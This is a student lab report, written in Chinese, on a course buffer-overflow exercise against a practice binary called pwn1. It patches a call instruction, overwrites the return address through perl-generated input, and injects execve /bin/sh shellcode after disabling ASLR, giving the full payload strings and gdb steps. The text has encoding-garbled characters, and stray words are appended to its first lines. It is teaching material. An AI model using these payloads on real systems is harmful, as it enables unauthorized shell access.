NOP, JNE, JE, JMP, CMP彙編指令的機器碼linux
NOP彙編指令:執行到NOP指令時,CPU僅僅當作一個指令執行過去並繼續執行NOP後面的一條指令。shell
JNE彙編指令:條件轉移指令,若是不相等則跳轉。windows
JE彙編指令:若是條件相等則跳轉。sass
JMP彙編指令:直接跳轉到所需跳轉的位置。安全
CMP彙編指令:減法指令,只是對操做數之間運算比較,不保存結果。cmp指令執行後,將對標誌寄存器產生影響。其餘相關指令經過識別這些被影響的標誌寄存器位來得知比較結果。網絡
一、首先將pwn1文件經過共享文件夾傳入虛擬機當中,經過chmod +x pwn1指令加權限,而後objdump -d pwn1,反彙編pwn1文件。dom
二、反彙編結束後發現:main函數裏面有一步call 8048491
經過進一步的分析:08048491是0804847d是咱們的跳轉目標。spa
0x08048491 - 0x0804847d = 0x00000014//計算地址差設計
0xffffffd7 - 0x00000014=0xffffffc3//計算要篡改的目標地址
vi pwn1進入命令模式
輸入:%!xxd將顯示模式切換爲十六進制
在底行模式輸入/e8 d7定位須要修改的地方,並確認
進入插入模式,修改d7爲c3
輸入:%!xxd -r將十六進制轉換爲原格式
使用:wq保存並退出
經過上述步驟看見個人main函數裏面已經修改成e8 c3 ff ff ff
四、執行./pwn1文件能夠成功獲取shell:
完成第一個實驗。
一、使用gdb命令,file pwn1載入pwn1文件,輸入gdb pwn1。
輸入r執行pwn1,這時程序正常執行,在foo子函數 調用的過程當中,須要咱們輸入一個字符串。 輸入36個字符後回車:abcdefghijklmnopqrstuvwxyz1234567890
二、
此時eip寄存器中的值爲0x30393837,eip寄存器的值是保存程序下一步所要執行指令的地址,本次實驗用的是小端機器,30、3九、3八、37分別是0、九、八、7對應的ASCII碼,那麼也就是說最後4位恰好完成溢出,覆蓋掉返回地址了。
咱們須要使用perl語句,用管道的方式把上一個命令的結果做爲下一個的輸入。
使用:perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
而後將input的輸入,經過管道符「|」,做爲pwn1的輸入。攻擊成功之後出現的截圖:
‘
完成第二個實驗。
3、注入Shellcode並執行
shellcode就是一段機器指令(code)
一般這段機器指令的目的是爲獲取一個交互式的shell(像linux的shell或相似windows下的cmd.exe),因此這段機器指令被稱爲shellcode。
在實際的應用中,凡是用來注入的機器指令段都通稱爲shellcode,像添加一個用戶、運行一條指令。
首先使用apt-get install execstack命令安裝execstack。
修改如下內容
設置堆棧可執行execstack -s pwn1
查詢文件的堆棧是否可執行 execstack -q pwn1
關閉地址隨機化echo "0" > /proc/sys/kernel/randomize_va_space
查詢地址隨機化是否關閉(0表明關閉,2表明開啓)more /proc/sys/kernel/randomize_va_space
採用老師提供的shellcode 的代碼
\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00
用perl語言輸入代碼
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
上面的\x4\x3\x2\x1將覆蓋到堆棧上的返回地址的位置。咱們把它改成這段shellcode的地址。
肯定返回地址的值
將寫好的代碼經過管道方式輸入給程序pwn1中的foo函數進行覆蓋
(cat input_shellcode;cat) | ./pwn1
打開另一個終端,用gdb來調試pwn1這個進程
ps -ef | grep pwn1肯定pwn1的進程號
啓動gdb調試這個程序 gdb attach 2277
設置斷點來查看注入buf的內存地址disassemble foo
ret的地址爲 0x080484ae,ret完就會跳到咱們覆蓋的返回地址了
break *0x080484ae設置斷點
在另外一個終端按下回車,這樣程序就會執行以後在斷點處停下來
再在gdb調試的終端輸入 c 繼續運行程序
經過info r esp查看esp寄存器的地址
下圖能夠看到0x01020304所在的地址爲0xffffd22c,那麼注入的shellcode代碼的地址應該在該地址後四個字節的位置,即
0xffd2cc0c + 0x00000004 = 0xffd2cc10
退出gdp調試。
輸入
perl -e 'print "A" x 32;print "\x10\xcc\xd2\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
執行程序,攻擊成功
第三個實驗完成
我對本次實驗的緩衝區溢出攻擊的原理有了必定的瞭解。經過查看網上資料慢慢的一步一步解決了實驗的難點,也問了周圍的同窗(例如最後一項任務中好幾回都失敗,後來在看了同窗的實驗截圖以後才發現本身有一部分碼改錯了),雖然對此實驗的原理沒有特別深刻的理解,但仍是收穫頗多。
我以爲漏洞是在設計程序產品時,只考慮了程序的功能實現,未可以充分考慮到其餘安全性的問題(例如在某些進程中沒能考慮到會被從這個進程的某段發起攻擊從而改寫程序進行非法操做),致使程序存在必定的缺陷,使得攻擊者可利用該缺陷進行破環與攻擊。可能會使該程序被攻擊者侵入進行惡意改寫與操做,影響用戶的使用,或者使得用戶的我的信息等被泄露。